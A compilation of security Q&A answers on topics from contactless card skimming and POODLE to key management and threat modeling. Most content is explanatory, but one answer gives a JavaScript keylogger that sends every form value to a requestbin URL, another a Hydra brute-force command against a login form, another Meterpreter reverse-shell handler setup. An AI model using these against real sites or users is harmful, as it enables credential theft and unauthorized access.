Note how the qoute from the Visa FAQ is carefully worded not to say that this isn't possible, just that it is not what fraudsters are looking for nowadays.
How close would the attacker need to be?
Edit: See ewanm89's comment - this might not be true.
To pull this off and be able to read a card you have to get quite close. The Guardian interviews a privacy standard expert at the National Consumers Federation:

He said that while industry standards specify a maximum magnetic-field strength for card readers of 5cm, some may be able to read cards at greater distances.
“It may be possible for a small percentage of cards to be read 15 to 20cm from the reader,” he said. “Even if this was to occur in 0.1% of cases, with more than 300m transactions taking place last year, many consumers could be affected.”

Is this a problem for you?
The bank or the merchant will be liabel for most of your monetary loss, so you will not end up in the poor house just because someone steals your credit card number.
Which? reports on the rules, but they might be different outside the UK or EU:

Fraudulent transactions on contactless cards are protected by the same rules that apply to other card payments. This means that if you're a victim of fraud, your bank will refund you the money, provided it’s not a result of your own negligence. However, you will have to pay the first £50 of the total amount of fraudulent transactions made on your card.

That the banks takes most of the financial hit does not mean this is without impact on you:

You might loose £50.
You will have to go through the hassle or reclaiming money from your bank if your card is abused. Maybe just an annoyance, but still.
If the attackers only steal small amounts, you might not even notice and hence not be able to report it.
It is hard to be completely anonymous if you carry around a radio tag broadcasting your name. It is easy to think of situations where you would not want to wear a name tag...
Some cards broadcast recent transaction history. This has obvious privacy implications.
Credit card numbers could be used in phishing attacks. A cold caller who knows your card number is more likely to fool you.
A card number could be used to impersonate you. It is not uncommon for a customer support to use some digits from your card as a security question to verify your identity. You can get a lot of private information, like order history, from a customer support. In some places you can even get them to do a password reset.
Buying things in your name with your credit card can make you look pretty bad. Your significant other might not be so happy to find big payments for porn sites in your credit card history... This could be used to mess with people.

In the end, you will have to decide if it is worth the risk or not. I would not worry about the money, but if I lived in a dictortorship I would not bring my credit card when attending a protest.
What can you do to protect yourself?
I see three solutions:

Try to convince your bank to give you a card without this capability.
If they don't want to do that, you can try to physically destroy the antenna. A bit risky, since you could acidentally destroy the card.
Carry the card in a faradays cage wallet. Either buy one or if you feel handy, make one yourself. (Either way, make sure to test it so you know that it actually works.)


Can a web page really log keystrokes on a different page shown later on the same tab (or a different tab)?

Yes, if an advertisement script is included directly in the page with the script tag. It's possible to listen on all keyup and touch events and capture the keystrokes. Web analytic tools analyze stuff like page movements and how long the user stays on the web page. If they get this data they could also log keystrokes.
I build a keylogger PoC in JS: https://github.com/Leetcore/hackerz/blob/master/Keylogger.js
document.addEventListener('keyup', function () {
    document.querySelectorAll('input').forEach(function (element) {
      if (element.value.length > 0) {
        document.body.insertAdjacentHTML('beforeend', '<img style="display:none;" src="http://requestbin.net/r/xxx?element='+ element.name +'&value='+ element.value +'"/>');
      }
    });
});

It captures every keyup event, iterates through all input tags with values and inserts a hidden IMG to make the cross domain request for the other domain.


I'll answer this with a quote from Adam Shostack's 2014 book Threat Modeling - Designing for Security.

There are three ways to judge whether you’re done finding threats with STRIDE.
The easiest way is to see if you have a threat of each type in STRIDE.1 Slightly harder is ensuring you have one threat per element of the diagram.2 However, both of these criterion will be reached before you’ve found all threats. For more comprehensiveness, use STRIDE-per-element3, and ensure you have one threat per check. Not having met these criteria will tell you that you’re not done, but having met them is not a guarantee of completeness.

1
If your team is already modelling with STRIDE they should know this, but I will mention it either way: STRIDE is obviously an acronym which stands for:     Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. These are also the types of threats.
2
Shostack explains that before you start to threat model you should build a diagram of your research object. That is what he's referring to when he's talking about a diagram.
3
STRIDE-per-element is - as far as I understand - a more microscopic approach to threat modelling. You take elements of your diagram and only examine certain threat types for every element. Here's a blogpost kinda explaining the whole thing. From a quick glance, this seems to have its advantages.


What are "redundant boot persistence mechanisms"?

Once malware infects a system, it looks to stay there even after interruptions that might cut off its access. This behavior is known as persistence. The underlying details of how the malware achieves persistence is known as the malware's persistence mechanism.

For example, without boot persistence, the malware would simply die and cease to function after a computer reboot which would kill the malware process, so the malware needs a way to automatically start up each time the computer is turned on. That way, the malware doesn't require the user to explicitly run the malicious file each time to re-infect the system.

To achieve this, malware oftentimes uses the same exact techniques that legitimate software does when it wants to automatically start up (software such as software updaters, notifiers, services, drivers, etc.). The most common technique would be to create a run key that references the malicious executable.

From https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys?redirectedfrom=MSDN:

  Run and RunOnce registry keys cause programs to run each time that a
  user logs on. The data value for a key is a command line. Register
  programs to run by adding entries of the form
  description-string=commandline. You can write multiple entries under a
  key. If more than one program is registered under any particular key,
  the order in which those programs run is indeterminate.

  The Windows registry includes the following four keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Keep in mind, there are other ways of achieving boot persistence, and there are many other run key locations, some of which require more privileges and are system-wide. With administrator privileges, the malware could register itself in the HKLM hive rather than the HKCU hive, so the malware could automatically start up each time regardless of the user logging in.

Anyway, to answer your exact question, when the source says that Dexphot utilizes "redundant boot persistence mechanisms", they most likely mean that the malware has multiple boot persistence mechanisms that act as fail-safes, so even if one of the persistence mechanisms fails or stops working for whatever reason (e.g., a run key referencing the malware is deleted), the malware can still remain persistent and automatically start up when you reboot your computer.


Could these special characters be used in a password?

Special characters don't add as much to security as you might think.  They increase the number of possible characters, but the most powerful multiplier comes from password length.

Let's say you have a very limited character set consisting of [A-Z][a-z][0-9], giving you 62 possible characters.  Therefore a 10 character password has 62^10 possible passwords, or 8.3*10^17.  Now add 10 special characters, and the number of possibilities goes to 72^10 possible passwords, or 3.2*10^18.

Choosing an 11 character password from the simple set, you have 62^11 possible passwords, or 5.2*10^19, which is another order of magnitude stronger than adding symbols to a 10 character password.

Of course, if you're picking only dictionary words, even with symbol substitutions, John the Ripper will likely shred the password in short order.  Pick long passwords that aren't dictionary words, and you'll make a real difference in your security.


Simple string comparisons not secure against timing attacks

The problem here is that generic string comparison functions return as soon as they find a difference between the strings. If the first byte is different, they return after just looking at one byte of the two strings. If the only difference is in the last byte, they process both entire strings before returning. This speeds things up in general, which is normally good. But it also means someone who can tell how long it takes to compare the strings can make a good guess where the first difference is.

In an attack scenario, an attacker has total control of $mac1 (it's taken from the attacker-made message), while $mac2 is the real valid MAC for the attacker's message. $mac2 must remain secret from the attacker, or he can stick it on his message and thus forge a valid message. The attacker, by analyzing the time it takes to get a response, can probably figure out where the first difference is between his MAC and the real one. He can try all possibilities for that one byte, find the correct one, and then work on the next byte secure in the knowledge that the first k bytes are right. At the end, he tried just 256*len MACs (if len is the length of the MAC) instead of the 256^len he should have had to try.


Password Cracking Twitter With THC Hydra

I'm not sure how you're legally brute forcing Twitter. But you could try to drop the http from the URI. That fixed the segfault errors for me. It seems it can be triggered by unexpected syntax.

It does also look like you aren't supplying the necessary ^USER^ parameter as specified in the error message you pasted. It must be there even if you aren't trying to brute force it. You will then specify with -l or -L the scope of usernames to try.

Also a lot of the answers online for proper syntax of Hydra are based on different versions but valid syntax is changing between versions. Check the man  ( man hydra )to get what works for sure. In the man page it shows there's a -U option for different services which describes proper usage of that service e.g. hydra -U http-post-form shows how to supply http-post method brute parameters.

I'm on version 8.2 which comes with the current version of Kali Rolling (Jan 2017) and this command works:

hydra -P /var/www/html/cewl10.x.x.x -l admin 10.x.x.x http-post-form "/otrs/xxx.pl:User=^USER^&Password=^PASS^:username" -V


Generally the master key is encrypted (wrapped) using the password. If this wrapped key is overwritten by the same key wrapped with the secure password (using password based encryption, as Veracrypt uses) then the result should be secure.

The problem with flash based storage is that it may not actually overwrite the password but write it to another page (because of wear leveling). Direct access to the flash may then be used to retrieve the old wrapped password, and a brute force attack could then be used to retrieve the master key. This will not be easy to do, but it isn't impossible.

More information in this answer.


Need of Encryption for storing Health Information

That’s a pretty broad set of questions.

  1 Can a case be made for added asymmetric + symmetric encryption of
  data in transit over TLS v1.3?

According to what you wrote, at the very least either end-to-end encryption or hybrid encryption is required for data in transit. But even if you plan on using end-to-end encryption, it’d be questioned if you didn’t use TLS 1.2 or stronger anyway. End-to-end raises questions of secure key management in the client. Do you really want to risk distributing copies of your long-term storage keys to your clients?

  2   Can PHI be stored anonymously somehow so we can analyze it and opt
  out of explicit encryption? That necessitates handling/control logic
  of that data to be in client apps.

Take a look at homomorphic encryption. It’s a way that allows you to perform some processes on encrypted data that returns the same results you’d get from processing the data on the clear text. It might remove the need to handle secret keys in your analytic logic.

  3   Can we have permanently assigned, unchanging asymmetric keys for
  users? If not, for how long can we have them safely? How do these
  changing keys work with already encrypted data?

Generally you’d issue clients their asymmetric keys on a client certificate, and set the certificate to expire in a timeframe that meets your organization’s key rotation policies and requirements. That might be one year, sixty days, or whatever. You wouldn’t use those asymmetric keys to encrypt the data for long term storage, however; you’d use them only for mutual TLS authentication, establishing session keys for the duration of the connection. You’d transmit the data via the TLS-encrypted socket; then at the server you’d encrypt the data with your server’s secret key (a key no client would ever access to.)

Your service would most likely be responsible for managing its own secret keys. Some systems will tag each encrypted data element with a key identifier that can be used to find the proper decryption key when it comes time to read the data. That way, you can rotate the server’s secret encryption key on a schedule so that a new key is used every month, or every year, and will still be able to decrypt all your old data. This avoids the huge risks associated with decrypting and re-encrypting all the data every year. (This same approach can also be performed using a commercial key management system, in conjunction with a client-side encryption library.)

Of course all these are only some possible suggestions; they are in use in some organizations, but may or may not be suitable for your organization or your data. Check with your compliance team, your risk management team, your security auditors, or whoever your organization uses to approve such decisions.


How to verify a password/key on subsequent key derivations

Normally, when you encrypt with a symmetric key, you also want to include some integrity check (a MAC) to detect alterations. There are very few attack models where attackers who can observe data cannot also modify data, so some sort of integrity check is normally needed.

The integrity check can be a stand-alone MAC algorithm, typically HMAC; or it can be integrated into the encryption mode (as in GCM). The latter is highly recommended because assembling an encryption system and a MAC securely is a lot more tricky than usually assumed (e.g. see this).

Assuming that your encryption system includes an integrity check, then the natural and safe method for verifying the correction of the password, in your situation, is to keep an encrypted small file with conventional contents -- decrypting the file entails verifying the MAC, hence the password (indirectly).


Is limiting access to a web script with .htaccess secure enough when that script can run arbitrary commands?

The best you could do is use a ssh connection to work on those files.

If that is not an option you should try to make it possible.

If ssh is really not possible you should check the following:

use https with a valid certificate (without that password will be send as plain text!)
your .htaccess uses a strong password (otherwise it might be brute forced)
use a solid editor (not something you wrote yourself)
check file permissions and make sure you can only access file you really need

If one of the above points is not fulfilled you should simply do not this.


Usage of same certificate for client and server authentication

Given that a certificate is essentially used to authenticate some user, service or system  it is not uncommon that the same certificate is used as both client and server certificate on the same system or for the same service. A common use case is for example SIPS, i.e. SIP (VoIP) over TLS. Similar with SMTP typically the same certificate is used for server and client authentication when transferring a mail between MTA's (if client authentication is used at all).

  Is there any disadvantage in regard to security when the same certificate is used for both use-cases?

If the same certificate is used within different services running in different security restrictions (like as different users) then sharing the certificate and private key increases the attack surface for this private key.


Meterpreter cannot bind to external address

You need the LHOST for the meterpreter to be your external IP and the LHOST for the handler to be the local IP. You can easily configure this when using multi_handler with the appropriate meterpreter payload (so that staging works).

Set the LHOST for multi_handler to be your external IP, run -j it in the background and then use whatever exploit you are using, setting the LHOST to your external IP and the correct meterpreter payload.

Setting the LHOST to the external IP will fail and instead, the handler will bind to 0.0.0.0.

Then run -j the exploit in the background and wait for the session to connect, then resume the session from the background.

(sessions -i sessionnumber where the session number comes from sessions -l)

Alternatively, you could use two consoles and not use background tasks.

Obiter dictum:

These additional loopholes you have to jump through are the reason why pentesting should be done without a NAT in the way.


How to find out if my MBR has Evil Maid code?

The first thing that comes to mind would be some sort of custom bootable USB stick that you keep with you. When you come back to your computer you first insert and boot from it, and it could scan your disk's MBR for changes. The USB device could then report a change and rewrite the MBR if needed.

You could consider using a software solution that once booted, would detect if a change occurred after the fact, but it's possible that would be too late as you can't be sure what the MBR virus will do. If it's truly a simple evil maid then maybe it just records the password you entered in, which you could change and possibly be fine, but that is a risk you probably don't want to take. There are many MBR viruses that do much more damage than recording passwords like the evil maid attack.


Any results from an automated scan should be followed up with manual testing to confirm or deny a result.

Also, without knowledge of exactly what your application does it hard to determine the impact some of these vulnerabilities would have but generally I would not allow an app into production with some the the problems detected in the scan such as XSS, CSRF and Cookie flags.

You have to determine what your application does, the data it uses and actions that can be performed through it and then understand the vulnerabilities and how those can impact your users and data.

I would not dismiss a vulnerability just because it was found with an authenticated scan, especially if anyone can register/sign up through the application. You definitely want to have multiple layers of defense.

I recommend do some manually testing to confirm these and if they are confirmed put measures in place for XSS, CSRF, cookie flags, click jacking but again you have to determine your own risks based on your application


How to identify a machine by its IP address in wireshark?

There are two approaches to solve you question:

Passive: meaning that you don't want to interact with the device you want to discover. You can monitor the network using Wireshark and find information such as the MAC address, from MAC, you can know the device manufacture. Or by analyzing other requests.
Active: in this case you can interact with the device and discover more about it but you may raise an attention by its owner. There are many tools you can use, I prefer nmap which available on Windows and Linux.


You cannot spoof the location using the phone since the location is not determined by the phone itself. Instead the phone connects and authenticates against the cell tower(s) and any location is determined based on which cell towers it is connected to. Since one can only connect to nearby cell towers one cannot spoof the location by connecting to far away cell towers.


Does mutual SSL authentication increases protection against a Poodle attack?

Strictly speaking, no, mutual authentication does not protect against POODLE. Some details may matter, though.

The core of the POODLE attack is that there is a way, with SSL 3.0, to alter some records so that the receiving end will not notice the substitution with probability 1/256. With this protocol misfeature, attackers can "try" decryption guesses on a single byte of encrypted data, and will learn that byte with probability 1/256. On failure, though, the receiving end duly notices the problem, and the connection is broken. The important point here is that none of this is impacted in any way by the handshake details; certificate-based client authentication does not make that protocol issue disappear.

The classic, Web-based description of POODLE then applies that issue in a Web context, i.e.:

The target is an HTTP cookie.
The attacker, through some evil Javascript or some other URL injection method, makes the victim repeatedly issue requests to some server, with the target cookie in all of them.
The attacker can not only trigger the requests, but also traps any error, thus broken connections don't show up on the unwary victim's screen.

In that context, POODLE recovers the target cookie with an average of 128 connections per guessed byte (that number can be somewhat lowered by assuming that cookie bytes are printable ASCII characters).

In your case, the client application is probably not a Web browser, and, as such, it may be difficult for attackers to trigger repeated connections. Moreover, if you do mutual authentication with certificates then you might not have big fat session cookies, thus removing a juicy target. Nevertheless, attackers can still try their luck and guess some bytes, if they accept to break most connections on which they attempt a guess. Whether attackers can pull that off discreetly really depends on how the application behaves when connections get broken. In particular, if HTTP "keep-alive" is performed (as is customary for SOAP-over-HTTP-over-SSL), then the client expects some requests to fail (because the server lost patience and closed the connection) and to restart them silently, so chances are that attackers can make their guesses silently.

It shall be noted that POODLE is about a confidentiality breach, not an integrity breach. If you use SSL only so that data gets authenticated, but without sending anything actually secret through the SSL tunnel, then POODLE ceases to be a concern.

Summary: what provides mitigation for POODLE is not the client certificate; what may provide mitigation is that the client is not a Web browser. However, the protocol vulnerability is still there and may still be exploitable, depending on the details of your application protocol.

You should really think about updating these client applications. By maintaining SSL 3.0 active, you are looking for trouble.


Possible leakage of metadata during forensic analysis

You should elaborate on what you mean by "leakage of metadata during forensic analysis". Whether or not there is a risk of leaking confidential information, it depends on what you had on /dev/sdb. If you had sensitive, unencrypted data there, then writing it to the beginning of /dev/sdc would result in that data being retrievable unless otherwise overwritten. You should just initiate an erasure once more and limit it to only overwrite however much data you were shown by the results of status=progress.


Best beginning programming language for someone interested in IT security

To really understand IT security (and, more generally, computers), you will have to know how things go inside, so, sooner or later, you will have to learn assembly for one or two architectures (preferably more than two). The low-level exploit codes (e.g. for buffer overflows) don't make sense unless you know assembly. Then move on to C, which is very widespread and a usual target for such exploits. C is easy to learn if you know assembly. Once you know assembly and C, you can learn more complex languages (e.g. C# or Java); your understanding of the inner workings of the machine will guide you through the most "magical looking" features of such advanced languages. Following this path, you may then try scripting languages, where each language element hides an awful lot of computations.

This learning order, from low-level to high-level, is an ideal; I have yet to meet a single person who strictly adhered to it. In my own learning path, I started with Basic ("version 1.0", from 1984) and then switched to assembly (on a 6809E CPU) because Basic was really too slow on my machine (a 1 MHz CPU does not have a lot of muscle). Later on, I learned Pascal, then C, and some more assembly. Afterwards, I did a lot of C, I touched many other languages (e.g. Caml, PostScript, Prolog, Objective-C, C++), some scripting (Unix sh, Perl...) and even more assembly (on several distinct architectures). Even later on, I did a lot of Java. Also tried Forth, Scheme, some more assembly. Lately, I have done some C# (which is very similar to Java), PowerShell, and suffered from an outbreak of VB.

What is to remember is that every language has its quirks; you will achieve the programming equivalent of enlightenment if you can see beyond the particularities of any specific language, and concentrate on the underlying algorithmics. Knowing a lot of languages and architectures will help you greatly. It will also highlight what language features are especially "dangerous" to use, by which I mean prone to trigger exploitable weaknesses. Conversely, if you stick to a single language, then you will only be a mediocre practitioner of programming and IT security.

Other learning paths exist and some people are happy with them. Many apprentice programmers begin with something high-level like Python and only later on try to see "under the hood" how the computer really does things. I tend to favour the low-to-high path because it is similar to the path that I followed myself, but there is no absolute necessity in that.


Is WebRTC still leaking my IP addresses in incognito or private browsing mode?

Unfortunately both internal and external IP addresses are still exposed even when you're browsing in incognito/private mode. In your case not only your internal network IP-address and the internal VPN IP-address will be exposed but also the external ISP IP address.

You can test it for example here:

https://ipleak.net/ (seems offline)
https://www.browserleaks.com/webrtc

Chrome and Firefox leak this information even in incognito/private mode. Although there is a fix:

For Firefox

https://addons.mozilla.org/En-us/firefox/addon/happy-bonobo-disable-webrtc/

For Google Chrome

https://chrome.google.com/webstore/detail/webrtc-leak-prevent/eiadekoaikejlgdbkbdfeijglgfdalml?hl=en


Why my mobile sends SMS to a random number without my permission?

I think you have "SBI UPI" The State Bank of India (SBI) Unified Payments Interface (UPI) app on the phone which is sending your payment card info via SMS.


Unquoted service paths are only vulnerable if they contain spaces. That is because Windows would handle the space as a break and pass the rest of the service path as an argument.

Original path:

c:\wamp\bin\mysql\mysql5.6.17\bin\mysqld.exe wampmysqld

If the path would look this way:

c:\wamp\bin\mysql\mysql5 6.17\bin\mysqld.exe wampmysqld

Windows would first try:

c:\wamp\bin\mysql\mysql5.exe 6.17\bin\mysqld.exe wampmysqld

and if there's a file with that name there, it would try to execute it otherwise Windows would try the rest of the service path until next space or the end, depending on if there's an argument or not.

c:\wamp\bin\mysql\mysql5 6.17\bin\mysqld.exe wampmysqld

By quoting the service path you define the correct path, everything there after is handled as arguments.

"C:\Quoted\Service\Path.exe" <argument>


Is moving data between devices on an SD Card safer than a USB stick?

While SD cards cannot be programmed to behave as a different key of USB device like a keyboard (i.e. Bad USB) they have their own vulnerabilities since they also contain firmware which can be hacked. From On Hacking MicroSD Cards (12/2013):

  ... code execution on the memory card enables a class of MITM (man-in-the-middle) attacks, where the card seems to be behaving one way, but in fact it does something else...

One attack vector I could think of is to return a different file (i.e. malware) instead of the real file when reading from the card, but maybe only after the 3rd attempt to read the file so that it can not be easily detected.

So yes, they are probably safer to use than USB sticks but misuse is still possible.


What is DOM based XSS? And How to prevent it?

Definition taken from OWASP

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).


Is a return to libc attack possible without the system function?

This the main known limitation of the 'ret-into-libc' attack, you can only use the functions that are used by the attacked program. Moreover, in 'ret-into-got' attacks you are limited only to functions that have been already used before you perform the attack (the function location must have been resolved in the GOT).

But, you may use similar functions if they are present. Functions such as execve or any function of the same family may be used (yet, the arguments are a bit more complex to be set).

Just to conclude, this is also because of this limitation that the 'return-oriented-programming' was a big breakthrough since it has been shown to be Turing complete (i.e. able to emulate any kind of function if you have enough gadgets in the .text section). See the famous paper "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Hovav Shacham.


How can a RSA-2048 certificate be vulnerable to logjam attack?

[EC]DHE_RSA means that the shared secret between the client and server is computed via Diffie-Hellman. In the case of DHE each session has it's own DH parameters (DHE = elliptic curve Diffie-Hellman ephemeral) which is done to provide forward secrecy. It goes something like this (over simplified):

Server generates some DH parameters.
Server signs the DH params with it's long term key (i.e. your RSA 2048 key) and sends the params and signature to the client.
Client verifies the signature for the params against the public RSA 2048 key contained in the servers certificate.
If the signature is good the client and server use DH with these params to established a shared secret from which they derive keys for the session.

So if your server generates DH params that are too small (e.g. 512 bits) or it supports DHE_EXPORT (or anything else mentioned in the logjam paper) then you are still vulnerable to the attack. You can reference this answer for good discussion on the security of DH params. The key insight is that the long-term RSA key is being used to ensure that the parameters sent to the client were not tampered with and generated by the server. The actual key generation / derivation is done via DH.

(It should be noted that ECDHE does not have this pitfall, so any cipher suite with ECDHE_RSA should be fine).


How can I detect a VPN connection (even just in some cases) to get the real location of the user

Finding out that a user is using a VPN service provider isn't that difficult. Most of them have static IP addresses for their exit gateways, so it could just be using a list of known IP addresses to identify VPNs. And even when they don't have a list, a simple reverse DNS lookup might tell them that the IP has a hostname which is obviously a VPN provider and not one assigned by a normal internet service provider.

Deanonymizing a VPN user, however, can be more of a challenge, because most VPN services are designed especially to prevent this. Possible attack vectors are browser fingerprinting and talkative browser plugins which say more about the user than they should.


Keeping a user's passwords, but can't hash them

There is an interesting point in your question:

  I thought about storing his password on his computer, and getting the web page to send it to me. I don't think that would make them feel safer though.

Do you want the users to be safe, or to feel safe ? That's not the same thing.

If you store the password on your server, you become responsible for it. There are some tricks which can be used to reduce the risks of leakage, but risks will still exist. For instance, if you store the emails in encrypted form in the database, then the server software will have to decrypt them before usage, so the server must know the decryption key, but that key needs not be known to the database; it could be stored in a file, and decryption done on the server (not with SQL-based cryptographic abilities offered by the database). This may provide some protection against SQL injection attacks. It is a delicate dance: if the server can access the stored passwords alone, then dumping the whole server contents (e.g. a complete hard disk image) must grant access as well; any encryption key must be there. Encryption, in that case, is a bet on the idea that attacks will be partial: an attacker will dump the database contents, not the whole disk.

A better system may look like this:

For each user u, a random symmetric key Ku is generated.
The email password for user u is encrypted with Ku; that's what is stored on the server.
Ku is NOT stored on the server, but on the client.
Upon connection, Ku is sent from the client to the server. The server uses it to recover the email password, in RAM only; the decrypted password, and Ku, are never written to files or database.

Storage of a client-specific secret value on the client, sent back to the server: that's a HTTP cookie. Be sure to mark it Secure and HttpOnly, and to use HTTPS for all the connections.

With that system:

The emailing password is not stored on the client system, and thus won't be put at risk when the user's smartphone is stolen.
The server's permanent storage (files, database) does not allow password recovery. An attacker who steals the whole system (he grabs the machines and makes a run for it) will not be able to obtain the passwords, regardless of how much computing power he dedicates to the tasks (assuming that the encryption was done properly, of course)(this contrasts with password hashing, where weak passwords can still be cracked, at a cost).

However:

If your server is hijacked "silently", then the attacker will be able to observe the passwords when put to use. This is unavoidable in your system. The only way to avoid that would be a ticketing system à la Kerberos, used by the email server and the client system, your server being a simple relay for the Kerberos ticket; but normal email server don't do Kerberos, and neither do client systems (in particular when the "client" is some Javascript in a Web page).
If the user loses his cookies (e.g. he switches from his phone to his desktop computer, and has no syncing system between the two), then Ku is lost and the user must re-enter his email password.

The latter point is, again, inherent. If your server does not store enough data to recover the email password without the user's help, then... the server cannot recover the email password without the user's help. If the user is also helpless, then the data is lost.


The shellcode is self-modifying and is thus supposed to reside on the stack (or some other writable region). The following instructions

mov byte [esi + 7], al
mov long [esi + 8], ebx
mov long [esi + 12], eax

are overwriting the JAAAAKKKK bytes at the end, which resides in the .text segment. As .text segment is not writable, your program is throwing a segfault.


So where do I start learning about Cyber Sec?

if you ask me, of course i'll tell you read a lot about IT.
because IT world is so big, and also create more IT field so cant list on by one at here.
most important is be realistic, dont idealize. focus on one field.


How to find the pharmacy hack in a Joomla website?

We've discovered today that our Joomla website has been hacked by a pharmacy trojan.

nope; your page delivers that trojan, but how your site has been hacked ... well ...

  Where to look inside my Joomla installation for this hack?

did you checked your page with sucuri? when you see the malicious/infected stuff do you find this at the top/bottom or, lets say, within every link? please make a pastebin of your infected html-code

it could be .htaccess, or an require() ontop / end of your index.html or sql-injection or ...

please see this answer (first two links) for the most recent joomla-security-fckp


Managing encryption keys protected by user password

You can't use the user's login password for the reason you've noted so if you're going to encrypt the data you have to either save the password or be able to generate it.  Maybe the password is the user's login ID hashed.

It seems like you want the password for the encrypted data to be a secret not kept by your program.  That can't happen without the possibility of losing the data.


Are there use cases where a mutually authenticated TLS is preferred?

There's a lot of potential benefits to mutual authentication using TLS. Here's a few.

You don't need to keep a username/pass database
No worry about password reuse.
Credentials can be stored on physical tokens/devices.
Credentials aren't going to be written on post-it.
Users don't have to enter credentials when visiting your resource (certs are automatically used).
Less concern about TLS interception proxies as you're authenticating the client.
There's little chance of brute forcing a certificate (no worry of password dictionary/brute force)

You would then be reliant on a centralized authority to issue or sign your certificates.


Yes.  You should always run the latest version of code (assuming it doesn't break a critical system supported by an earlier version, in which case... good luck!).


Why AWS distributes private key to address authentication problem?

1) Why AWS distributes private key instead of public key? for secure communication...

Without the private key, you cannot prove you are the owner of the public key. Without proving you are the owner, you cannot use SSH Public Key Authentication.

So Amazon generates a key itself, and send you. If you don't trust Amazon, you can create another key, put the public key on authorized_keys and delete the former one.

  2) Key pair is mainly to secure communication on the wire, but not authenticate user, to access a resource in AWS.

Not quite. Key pair can surely be used for authentication too. If you sign some data with your private key, someone (or some system) can use your public key to see if you are indeed the one signing the data.

The oversimplification of SSH key authentication is something like this: the client sends the server the key he wants to use to authenticate. If the server have that key on its authorized_keys file, it will generate a random number, encrypt it with the public key, and send back. If the client really owns the corresponding private key, he can decrypt the file, concatenate with session key (left out for simplicity), hash the result and send to server. Server will have the random number, and the session key. If server hashes both and the result matches what the client sent, the client is the owner of the key and can login.

  How does distribution of a key solve authentication problem?

Easy. See above.

  Key can be stolen by any wrong person...Why AWS allow ssh login to EC2 without a password?

Because is several orders of magnitude harder to steal a key than to steal a password. If an attacker creates a phishing site to steal your Amazon password and you fall for it, your password is compromised.

If same attacker creates a phishing SSH server to steal your data, it will never steal your private key, as it is never transmitted. He cannot steal anything he doesn't already have (the random number and the session key), and the only borderline sensitive thing he can steal is your public key, and a public key is public anyway.

SSH with the key is the safest way. Passwords can be stolen or leak, but to steal a private key is way harder.


Given a list of components and versions, how can I check if any of them have known vulnerabilities?

There are a number of solutions here, depending upon the types of components involved. Are these code dependencies? Are they open source? If not, how well-used are they? If they aren't code dependencies, what types of software are they?

All of these questions point to different areas to look. To start with, I'd recommend familiarizing yourself with NIST's and MITRE's CVE databases. They're both great. For scanning tools, check out OWASP's list of vuln scanners, which might point you in the right direction.

For more detailed help, let us know more about the types of components involved so that we can give more guidance. This particular question defines an entire industry of software and subfield of cybersecurity, so without more detail the answer is going to be pretty broad.


What prevents people getting charged over NFC in crowded places?

There is nothing to stop the NFC being read from a card in the UK according to this study conducted recently by a security firm called ViaForensics.

On a NFC enabled phone the article states that the NFC hardware is switched off when the screen is not lit.

original link (broken as of 2015-oct-27)


Is there a superior approach for threat modeling?

I prefer asset-centric approach.
It works best for me, it usually easy to identify system assets and then to do threat analysis for each asset.

But whatever works for you (and your manager)

Regards

Aaron


CSR verification process by certificate authority

Is the contents of the CSR hashed and signed by the server's private key?

Yes

  Is the CSR encrypted?

No

  Is the CSR transported in clear text to CA to re-hash and verify the contents?

Yes

  How does CA verifies the hash of the signed CSR?

The CSR is signed with the server's private key. To verify the signature the server's public key is needed. This key is contained in the CSR. Note that this signature only proves that the creator of the CSR has access to the private key matching the public key in the certificate - it does not provide any proof of ownership of a domain or similar.


Preventing a man in the middle attack with a self-signed certificate using IP not DNS

If the proxy is in the path of the connection it can intercept the traffic. This is the case of a proxy explicitly defined in the browser and also with transparent proxies installed on a device where all outgoing traffic must pass thru (like a firewall). It is also the case when an attacker in the local network redirects traffic using ARP spoofing. DNS spoofing is only relevant if hostnames are involved but all the other cases work with IP address as target too.


There are no common file types with the extension ".fyi", but I suspect that the real extension is hidden somehow; it may well be a malicious APK or similar.

As-is they pose no threat to you unless you try to open them.

My advice would be to continue what you're already doing - delete the message and block the number if possible.


KeePass Key File - Does it provide any meaningful security?

The keyfile for KeePass is just another kind of passphrase, as it is stated in the Keepass Documentation:

  A key file is basically a master password in a file. Keyfiles are typically stronger than master passwords, because the key can be a lot more complicated; however it's also harder to keep them secret.

The keyfile is more something you have (though it might be copied by adversaries), and a password is something you know. So by combining both you might gain some extra security in some scenarios.
If an attacker has the database and gains knowledge of your password by shoulder surfing, the additional keyfile on your USB will keep you somewhat safer.

Storing the keyfile on the hard drive of the computer as well will not really increase security, as the documentation correctly states:

  Location

  [...] The point is not to keep the location of the key file secret –
  selecting a file out of thousands existing on your hard disk basically
  doesn't increase security at all, because it's very easy for
  malware/attackers to find out the correct file (for example by
  observing the last access times of files, the recently used files list
  of Windows, malware scanner logs, etc.). Trying to keep the key file
  location secret is security by obscurity, i.e. not really effective.

However you are correct, if your computer is compromised, password and keyfile will at some point be accessible for an attacker and therefore need to be considered as insecure in this scenario.


Is it possible to embed a phar archive into a PNG image?

You can hide a PHAR inside an image (PNG, JPEG)
You can hide a PHAR file within a PNG image (or a JPEG image) by using a custom data block. You could even declare you own chunk called "phAR" or "phAr", and put a PHAR file into it. I believe this can be readily done with ExifTool. You now have a valid PNG, which actually is a valid PHAR in "custom format" as far as the phar:// stream is involved.
Does this possibility create additional insecurity?
No. The main insecurity must already be there and is neither increased nor decreased by the possibility of supplying a masked PHAR rather than a plain (e.g. ZIP-format) PHAR.
Let us consider these files:
phar.png       - a valid PNG containing a PHAR
phar.phar.png  - the first PHAR, with a PNG extension (so, not a PNG)

The trick that allows the file to be executed is not being "a PHAR inside a PNG". Rather, it is "the caller using the phar:// stream" (or, equivalently, "the caller allowing the attacker to specify any stream at all, including the phar stream".
